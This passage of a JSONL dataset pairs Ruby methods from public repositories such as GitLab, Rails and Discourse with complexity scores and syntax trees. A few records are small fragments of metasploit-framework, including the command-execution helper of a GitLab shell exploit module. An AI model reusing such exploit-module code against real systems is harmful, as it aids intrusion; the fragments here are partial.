end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"should_defer_perform?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"sidekiq_concurrency_limit_middleware\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disabled_for_worker?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resumed?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_jobs_in_queue?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"concurrency_limit_current_limit_from_redis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concurrency_service\"]},\"over_the_limit?\",{\"type\":\"send\",\"children\":[null,\"worker_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqMiddleware\"]},\"ConcurrencyLimit\"]},\"WorkersMap\"]},\"over_the_limit?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[null,\"worker\"]}]}]}]}]}]}]}","id":"764b55d9-891b-4a8d-829d-a1aca73bdeb3"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/filters/tilt_base.rb","start_line":17,"raw_source":"def explicit_require?(needed_registration)\n        Gem::Version.new(Tilt::VERSION) >= Gem::Version.new('2.0.0') &&\n          !Tilt.registered?(needed_registration)\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"explicit_require?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"needed_registration\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tilt\"]},\"VERSION\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tilt\"]},\"registered?\",{\"type\":\"lvar\",\"children\":[\"needed_registration\"]}]},\"!\"]}]}]}","id":"d665baea-90f9-420c-bc5f-ea7f4da2d170"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/html_variant.rb","start_line":50,"raw_source":"def strip_whitespace\n    name.strip!\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_whitespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"strip!\"]}]}","id":"02aec87e-7658-4b35-a343-8071486e154e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package_types/patterns/collection.rb","start_line":53,"raw_source":"def subject\n        patterns[:subject]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patterns\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]}","id":"f868548b-2527-4149-bdcc-0163b74039a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/sidebar.rb","start_line":85,"raw_source":"def my_messages_link_css\n          \".sidebar-section-link[data-link-name='#{my_messages.downcase.parameterize}']\"\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"my_messages_link_css\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".sidebar-section-link[data-link-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"my_messages\"]},\"downcase\"]},\"parameterize\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}","id":"322f2681-4e48-4b70-8d0d-ec0ff2b5c868"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":98,"raw_source":"def test_plural\n    assert_equal \"blog_posts\", @model_name.plural\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_plural\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"blog_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"plural\"]}]}]}","id":"b22d7b00-08ec-4026-ad53-bedde93b8d8e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/chat/command.rb","start_line":66,"raw_source":"def build_environment_variables(pipeline)\n        pipeline.variables.build(\n          [{ key: 'CHAT_INPUT', value: arguments },\n            { key: 'CHAT_CHANNEL', value: channel },\n            { key: 'CHAT_USER_ID', value: chat_name.chat_id }]\n        )\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_environment_variables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"variables\"]},\"build\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CHAT_INPUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"arguments\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CHAT_CHANNEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"channel\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CHAT_USER_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_name\"]},\"chat_id\"]}]}]}]}]}]}","id":"4410a871-1d1a-4ad9-935b-ca672cc23f2d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/pages/taxon_list.rb","start_line":32,"raw_source":"def taxonomy_id\n        store.taxonomies.first&.id\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"taxonomy_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"taxonomies\"]},\"first\"]},\"id\"]}]}","id":"d8d3bfb3-366b-4e5f-b900-7e9409cc4e7e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/statement_cache_test.rb","start_line":66,"raw_source":"def test_statement_cache_with_complex_statement\n      cache = ActiveRecord::StatementCache.create(ClothingItem.lease_connection) do |params|\n        Liquid.joins(molecules: :electrons).where(\"molecules.name\" => \"dioxane\", \"electrons.name\" => \"lepton\")\n      end\n\n      salty = Liquid.create(name: \"salty\")\n      molecule = salty.molecules.create(name: \"dioxane\")\n      molecule.electrons.create(name: \"lepton\")\n\n      liquids = cache.execute([], ClothingItem.lease_connection)\n      assert_equal \"salty\", liquids[0].name\n    end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_statement_cache_with_complex_statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementCache\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},\"lease_connection\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"joins\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"molecules\"]},{\"type\":\"sym\",\"children\":[\"electrons\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"molecules.name\"]},{\"type\":\"str\",\"children\":[\"dioxane\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"electrons.name\"]},{\"type\":\"str\",\"children\":[\"lepton\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"salty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"salty\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"molecule\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salty\"]},\"molecules\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"dioxane\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"molecule\"]},\"electrons\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"lepton\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"liquids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"execute\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},\"lease_connection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"salty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"liquids\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"name\"]}]}]}]}","id":"a259dc83-ad6f-4c9d-b7e5-156296713e42"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitlab_shell_exec.rb","start_line":110,"raw_source":"def execute_command(cmd, _opts = {})\n    key_id = add_key(cmd)\n    delete_key(key_id)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_id\",{\"type\":\"send\",\"children\":[null,\"add_key\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_key\",{\"type\":\"lvar\",\"children\":[\"key_id\"]}]}]}]}","id":"4234d703-99a4-4da8-a667-b1b2f3feeaeb"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/shipments_controller.rb","start_line":12,"raw_source":"def create\n            # FIXME: support saving metadata\n            result = create_service.call(\n              store: current_store,\n              shipment_attributes: params.require(:shipment).permit(\n                :order_id, :stock_location_id, :variant_id, :quantity\n              )\n            )\n            render_result(result, 201)\n          end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipment_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"shipment\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"order_id\"]},{\"type\":\"sym\",\"children\":[\"stock_location_id\"]},{\"type\":\"sym\",\"children\":[\"variant_id\"]},{\"type\":\"sym\",\"children\":[\"quantity\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_result\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"int\",\"children\":[201]}]}]}]}","id":"dd31bb38-8f17-4405-92c9-73efa366f7ca"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/tls.rb","start_line":80,"raw_source":"def set_version_to_options(opt, version, min_version, max_version)\n      if MIN_MAX_AVAILABLE\n        case\n        when min_version.nil? && max_version.nil?\n          min_version = METHODS_MAP[version] || version\n          max_version = METHODS_MAP[version] || version\n        when min_version.nil? && max_version\n          raise Fluent::ConfigError, \"When you set max_version, must set min_version together\"\n        when min_version && max_version.nil?\n          raise Fluent::ConfigError, \"When you set min_version, must set max_version together\"\n        else\n          min_version = METHODS_MAP[min_version] || min_version\n          max_version = METHODS_MAP[max_version] || max_version\n        end\n        opt[:min_version] = min_version\n        opt[:max_version] = max_version\n      else\n        opt[:ssl_version] = METHODS_MAP[version] || version\n      end\n\n      opt\n    end","complexity_score":42.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_version_to_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"min_version\"]},{\"type\":\"arg\",\"children\":[\"max_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIN_MAX_AVAILABLE\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_version\"]},\"nil?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_version\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"max_version\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"When you set max_version, must set min_version together\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_version\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"When you set min_version, must set max_version together\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"min_version\"]}]},{\"type\":\"lvar\",\"children\":[\"min_version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"max_version\"]}]},{\"type\":\"lvar\",\"children\":[\"max_version\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"min_version\"]},{\"type\":\"lvar\",\"children\":[\"min_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"max_version\"]},{\"type\":\"lvar\",\"children\":[\"max_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]}","id":"bb9532f3-de67-49b3-b7e3-026cc450e540"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb","start_line":151,"raw_source":"def dealloc(stmt)\n            stmt.close unless stmt.closed?\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"dealloc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stmt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"closed?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"close\"]}]}]}","id":"ba8261e3-0346-4135-b00e-00db6d2495a7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/message_mover.rb","start_line":118,"raw_source":"def bulk_insert_movement_metadata_for_messages\n      values_sql = @movement_metadata.map { |mm| \"(#{mm[:old_id]}, #{mm[:new_id]})\" }.join(\",\\n\")\n      DB.exec(\n        \"INSERT INTO moved_chat_messages(old_chat_message_id, new_chat_message_id) VALUES #{values_sql}\",\n      )\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_insert_movement_metadata_for_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@movement_metadata\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mm\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mm\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"old_id\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mm\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_id\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO moved_chat_messages(old_chat_message_id, new_chat_message_id) VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_sql\"]}]}]}]}]}]}","id":"9f862fb3-d6bf-47b9-9967-997078f4edb5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization/types.rb","start_line":94,"raw_source":"def get_object(id)\n      id = id.value if id.is_a? BinData::BasePrimitive\n\n      @objects ||= {}\n      @objects[id]\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BinData\"]},\"BasePrimitive\"]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"value\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@objects\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"adb3acfa-f3de-43ee-8dc5-e62570b66fd3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_exploit_server.rb","start_line":221,"raw_source":"def has_bad_activex?(ax)\n      ax.to_s.split(';').each do |a|\n        bool = a.split('=>')[2]\n        if bool == 'false'\n          return true\n        end\n      end\n\n      false\n    end","complexity_score":11.15,"ast_json":"{\"type\":\"def\",\"children\":[\"has_bad_activex?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ax\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ax\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bool\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"split\",{\"type\":\"str\",\"children\":[\"=>\"]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bool\"]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"7c8bcc9d-c229-4330-be35-0205e90040f1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/clear_derived_data.rb","start_line":14,"raw_source":"def self.xcode_preferences\n        file = File.expand_path(\"~/Library/Preferences/com.apple.dt.Xcode.plist\")\n        if File.exist?(file)\n          plist = CFPropertyList::List.new(file: file).value\n          return CFPropertyList.native_types(plist) unless plist.nil?\n        end\n        return nil\n      end","complexity_score":11.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xcode_preferences\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"~/Library/Preferences/com.apple.dt.Xcode.plist\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plist\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CFPropertyList\"]},\"List\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CFPropertyList\"]},\"native_types\",{\"type\":\"lvar\",\"children\":[\"plist\"]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6dc98061-bb75-49e6-9922-d3763c508226"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/validators/ampf_configuration_validator.rb","start_line":65,"raw_source":"def client_permissions\n              folder = create_folder.value!\n              delete_folder(folder)\n            end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"client_permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"folder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_folder\"]},\"value!\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_folder\",{\"type\":\"lvar\",\"children\":[\"folder\"]}]}]}]}","id":"969c1365-cd1e-4198-813c-38e3b36b1183"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/ip_blocks_spec.rb","start_line":203,"raw_source":"def other_ranges\n        IpBlock.where(id: third_ip_range_block.id)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"other_ranges\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IpBlock\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"third_ip_range_block\"]},\"id\"]}]}]}]}]}","id":"0701d6d4-c389-4999-984c-fe776c079ed8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/multipart.rb","start_line":70,"raw_source":"def decorate_params_value(hash_path, value_hash)\n          unless hash_path.is_a?(Hash) && hash_path.count == 1\n            raise \"invalid path: #{hash_path.inspect}\"\n          end\n\n          path_key, path_value = hash_path.first\n\n          unless value_hash.is_a?(Hash) && value_hash[path_key]\n            raise \"invalid value hash: #{value_hash.inspect}\"\n          end\n\n          case path_value\n          when nil\n            value_hash[path_key] = open_file(extract_upload_params_from(value_hash[path_key]))\n            @open_files << value_hash[path_key]\n            value_hash\n          when Hash\n            decorate_params_value(path_value, value_hash[path_key])\n            value_hash\n          else\n            raise \"unexpected path value: #{path_value.inspect}\"\n          end\n        